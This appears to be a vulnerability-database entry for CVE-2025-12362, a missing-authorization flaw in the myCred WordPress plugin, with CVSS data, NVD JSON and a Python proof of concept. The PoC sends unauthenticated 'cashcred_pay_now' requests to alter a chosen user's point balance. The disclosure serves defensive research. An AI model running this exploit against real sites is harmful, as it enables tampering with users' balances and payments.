Security Vulnerability Report
δΈ­ζ–‡
CVE-2025-12362 CVSS 5.3 MEDIUM

CVE-2025-12362

Published: 2025-12-13 16:16:46
Last Modified: 2026-04-15 00:35:42

Description

The myCred – Points Management System For Gamification, Ranks, Badges, and Loyalty Program plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 2.9.7. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to approve withdrawal requests, modify user point balances, and manipulate the payment processing system via the cashcred_pay_now AJAX action.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

myCred plugin for WordPress <= 2.9.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-12362 PoC - myCred WordPress Plugin Missing Authorization This PoC demonstrates the unauthorized modification of user point balances via the cashcred_pay_now AJAX action. """ import requests import sys TARGET_URL = "http://target-wordpress-site.com" TARGET_USER_ID = 1 # Target user ID to modify POINTS_TO_ADD = 1000 # Amount of points to add def exploit_missing_authorization(): """ Exploit the missing authorization vulnerability in myCred plugin. This allows unauthenticated users to modify point balances. """ # Construct the AJAX endpoint ajax_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Prepare the malicious request data data = { 'action': 'cashcred_pay_now', 'user_id': TARGET_USER_ID, 'amount': POINTS_TO_ADD, 'type': 'add', # or 'deduct' depending on desired action 'ctype': 'mycred_default' } print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Exploiting CVE-2025-12362: Missing Authorization in myCred") print(f"[*] Target User ID: {TARGET_USER_ID}") print(f"[*] Points to modify: {POINTS_TO_ADD}") try: # Send the request without authentication response = requests.post(ajax_url, data=data, timeout=30) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[*] Response: {response.text[:200]}") print("[!] Vulnerability may be present - verify point balance in WordPress admin") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] exploit_missing_authorization()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12362", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:46.373", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The myCred – Points Management System For Gamification, Ranks, Badges, and Loyalty Program plugin for WordPress is vulnerable to Missing Authorization in versions up to, and including, 2.9.7. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for unauthenticated attackers to approve withdrawal requests, modify user point balances, and manipulate the payment processing system via the cashcred_pay_now AJAX action."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/mycred/tags/2.9.5.1/addons/cash-creds/modules/cashcred-module-core.php#L141", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3417299/mycred/trunk?contextall=1&old=3410754&old_path=%2Fmycred%2Ftrunk#file0", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/af54654b-60af-446d-b170-ee0a1ebed22c?source=cve", "source": "[email protected]"}]}}